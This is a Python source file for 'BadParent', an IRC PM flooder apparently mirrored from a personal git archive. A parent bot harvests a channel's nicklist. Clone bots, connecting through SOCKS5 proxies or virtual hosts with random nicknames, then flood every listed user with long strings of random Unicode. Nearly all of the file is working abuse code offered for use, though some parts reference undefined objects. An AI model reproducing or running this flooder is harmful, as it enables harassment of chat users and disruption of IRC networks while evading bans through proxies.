mirror of
git://git.acid.vegas/archive.git
synced 2024-11-14 12:16:40 +00:00
303 lines
8.7 KiB
Python
303 lines
8.7 KiB
Python
#!/usr/bin/env python
|
||
# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||
# badparent.py
|
||
|
||
'''
|
||
The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
|
||
The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
|
||
Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
|
||
'''
|
||
|
||
import argparse
|
||
import concurrent.futures
|
||
import os
|
||
import random
|
||
import ssl
|
||
import socket
|
||
import string
|
||
import sys
|
||
import threading
|
||
import time
|
||
|
||
server = 'irc.server.com'
|
||
port = 6667
|
||
nickname = 'BIGDADDY'
|
||
username = 'dad'
|
||
realname = 'I am horrible...'
|
||
|
||
def alert(msg):
|
||
print(f'{get_time()} | [+] - {msg}')
|
||
|
||
def debug(msg):
|
||
print(f'{get_time()} | [~] - {msg}')
|
||
|
||
def error(msg, reason=None):
|
||
print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
|
||
|
||
def error_exit(msg):
|
||
raise SystemExit(f'{get_time()} | [!] - {msg}')
|
||
|
||
def get_time():
|
||
return time.strftime('%I:%M:%S')
|
||
|
||
def random_str(size):
|
||
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
|
||
|
||
def unicode():
|
||
msg = ''
|
||
for i in range(random.randint(400,450)):
|
||
msg += chr(random.randint(0x1000, 0x3000))
|
||
return msg
|
||
|
||
|
||
|
||
|
||
class parent(object):
|
||
def __init__(self):
|
||
self.nicklist = list()
|
||
self.sock = None
|
||
|
||
def connect(self):
|
||
try:
|
||
self.sock = socket.socket()
|
||
self.sock.connect((server, port))
|
||
self.raw(f'USER {username} 0 * :{realname}')
|
||
self.raw('NICK ' + nickname)
|
||
except socket.error as ex:
|
||
error('Failed to connect to IRC server.', ex)
|
||
self.event_disconnect()
|
||
else:
|
||
self.listen()
|
||
|
||
def event_connect(self):
|
||
if config.login.nickserv:
|
||
self.identify(config.ident.nickname, config.login.nickserv)
|
||
self.join_channel(config.connection.channel, config.connection.key)
|
||
|
||
def event_disconnect(self):
|
||
error('The parent bot has disconected!')
|
||
self.sock.close()
|
||
|
||
def event_end_of_names(self, chan):
|
||
if self.nicklist:
|
||
alert(f'Found {len(self.nicklist)} nicks in channel.')
|
||
threading.Thread(target=load_children).start()
|
||
else:
|
||
error('Failed to parse nicklist from channel.')
|
||
|
||
def event_join(self, nick, chan):
|
||
if chan == config.connection.channel:
|
||
if nick not in self.nicklist:
|
||
self.nicklist.append(nick)
|
||
|
||
def event_kick(self, nick, chan, kicked):
|
||
if chan == config.connection.channel:
|
||
if kicked == config.ident.nickname:
|
||
time.sleep(3)
|
||
self.join(self.chan, self.key)
|
||
|
||
def event_names(self, chan, names):
|
||
if chan == config.connection.channel:
|
||
for name in names:
|
||
if name[:1] in '~!@%&+:':
|
||
name = name[1:]
|
||
if name != config.ident.nickname and name not in self.nicklist:
|
||
self.nicklist.append(name)
|
||
|
||
def event_nick(self, nick, new):
|
||
if nick in self.nicklist:
|
||
self.nicklist.remove(nick)
|
||
self.nicklist.append(new)
|
||
|
||
def event_nick_in_use(self):
|
||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||
|
||
def event_quit(self, nick):
|
||
if nick in self.nicklist:
|
||
self.nicklist.remove(nick)
|
||
|
||
def handle_events(self, data):
|
||
args = data.split()
|
||
if data.startswith('ERROR :Closing Link:'):
|
||
raise Exception('Connection has closed.')
|
||
elif args[0] == 'PING':
|
||
self.raw('PONG ' + args[1][1:])
|
||
elif args[1] == '001':
|
||
self.event_connect()
|
||
elif args[1] == '433':
|
||
self.event_nick_in_use()
|
||
elif args[1] == '353':
|
||
chan = args[4]
|
||
if ' :' in data:
|
||
names = data.split(' :')[1].split()
|
||
elif ' *' in data:
|
||
names = data.split(' *')[1].split()
|
||
elif ' =' in data:
|
||
names = data.split(' =')[1].split()
|
||
else:
|
||
names = data.split(chan)[1].split()
|
||
self.event_names(chan, names)
|
||
elif args[1] == '366':
|
||
chan = args[3]
|
||
self.event_end_of_names(chan)
|
||
elif args[1] == 'JOIN':
|
||
nick = args[0].split('!')[0][1:]
|
||
chan = args[2][1:]
|
||
self.event_join(nick, chan)
|
||
elif args[1] == 'KICK':
|
||
chan = args[2]
|
||
kicked = args[3]
|
||
self.event_kick(nick, chan, kicked)
|
||
elif args[1] == 'NICK':
|
||
nick = args[0].split('!')[0][1:]
|
||
new = args[2][1:]
|
||
self.event_nick(nick, new)
|
||
elif args[1] == 'QUIT' :
|
||
nick = args[0].split('!')[0][1:]
|
||
self.event_quit(nick)
|
||
|
||
def join_channel(self, chan, key=None):
|
||
self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
|
||
|
||
def listen(self):
|
||
while True:
|
||
try:
|
||
data = self.sock.recv(1024).decode('utf-8')
|
||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||
self.handle_events(line)
|
||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||
pass
|
||
except Exception as ex:
|
||
error('Unexpected error occured.', ex)
|
||
break
|
||
self.event_disconnect()
|
||
|
||
def raw(self, msg):
|
||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||
|
||
|
||
|
||
class child:
|
||
def __init__(self, data_line):
|
||
self.data_line = data_line
|
||
self.sock = None
|
||
|
||
def attack(self):
|
||
while True:
|
||
try:
|
||
if not Parent.nicklist:
|
||
error('Nicklist has become empty!')
|
||
break
|
||
for name in Parent.nicklist:
|
||
self.sendmsg(name, unicode())
|
||
time.sleep(config.throttle.pm)
|
||
except:
|
||
break
|
||
|
||
def connect(self):
|
||
try:
|
||
self.create_socket()
|
||
self.sock.connect((config.connection.server, config.connection.port))
|
||
self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
|
||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||
except socket.error:
|
||
self.sock.close()
|
||
else:
|
||
self.listen()
|
||
|
||
def create_socket(self):
|
||
family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
|
||
if pargs.proxy:
|
||
proxy_server, proxy_port = self.data_line.split(':')
|
||
self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
|
||
self.sock.setblocking(0)
|
||
self.sock.settimeout(config.throttle.timeout)
|
||
self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
|
||
elif pargs.vhost:
|
||
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
||
self.sock.bind((self.data_line, 0))
|
||
if config.connection.ssl:
|
||
self.sock = ssl.wrap_socket(self.sock)
|
||
|
||
def listen(self):
|
||
while True:
|
||
try:
|
||
data = self.sock.recv(1024).decode('utf-8')
|
||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||
args = data.split()
|
||
if data.startswith('ERROR :Closing Link:'):
|
||
raise Exception('Connection has closed.')
|
||
elif args[0] == 'PING':
|
||
self.raw('PONG ' + args[1][1:])
|
||
elif args[1] == '001':
|
||
alert(f'Successful connection. ({self.data_line})')
|
||
threading.Thread(target=self.attack).start()
|
||
elif args[1] == '401':
|
||
nick = args[3]
|
||
self.event_bad_nick()
|
||
elif args[1] == '433':
|
||
self.raw('NICK ' + random_str(random.randint(4,7)))
|
||
elif args[1] == '486':
|
||
nick = args[-1:]
|
||
self.event_bad_nick(nick)
|
||
elif args[1] == '716':
|
||
nick = args[3]
|
||
if nick in Parent.nicklist:
|
||
Parent.nicklist.remove(nick)
|
||
elif args[1] == 'NOTICE':
|
||
if 'User does not accept private messages' in data:
|
||
nick = args[5][1:-1]
|
||
self.event_bad_nick(nick)
|
||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||
pass
|
||
except:
|
||
break
|
||
self.sock.close()
|
||
|
||
def raw(self, msg):
|
||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||
|
||
def sendmsg(self, target, msg):
|
||
self.raw(f'PRIVMSG {target} :{msg}')
|
||
|
||
|
||
|
||
def load_children():
|
||
debug('Loading children bots...')
|
||
for i in range(config.throttle.concurrency):
|
||
debug('Concurrency round starting....')
|
||
with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
|
||
checks = {executor.submit(child(item).connect): item for item in data_lines}
|
||
for future in concurrent.futures.as_completed(checks):
|
||
checks[future]
|
||
debug('Flooding is complete. (Threads still may be running!)')
|
||
|
||
# Main
|
||
print('#'*56)
|
||
print('#{0}#'.format(''.center(54)))
|
||
print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
|
||
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
|
||
print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
|
||
print('#{0}#'.format(''.center(54)))
|
||
print('#'*56)
|
||
parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
|
||
parser.add_argument('input', help='file to scan')
|
||
parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
|
||
parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
|
||
pargs = parser.parse_args()
|
||
if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
|
||
error_exit('Invalid arguments.')
|
||
if pargs.proxy:
|
||
try:
|
||
import socks
|
||
except ImportError:
|
||
error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
|
||
if not os.path.isfile(pargs.input):
|
||
error_exit('No such input file.')
|
||
data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
|
||
debug(f'Loaded {len(data_lines)} lines from file.')
|
||
random.shuffle(data_lines)
|
||
debug('Starting parent bot connection...')
|
||
Parent = parent()
|
||
Parent.connect()
|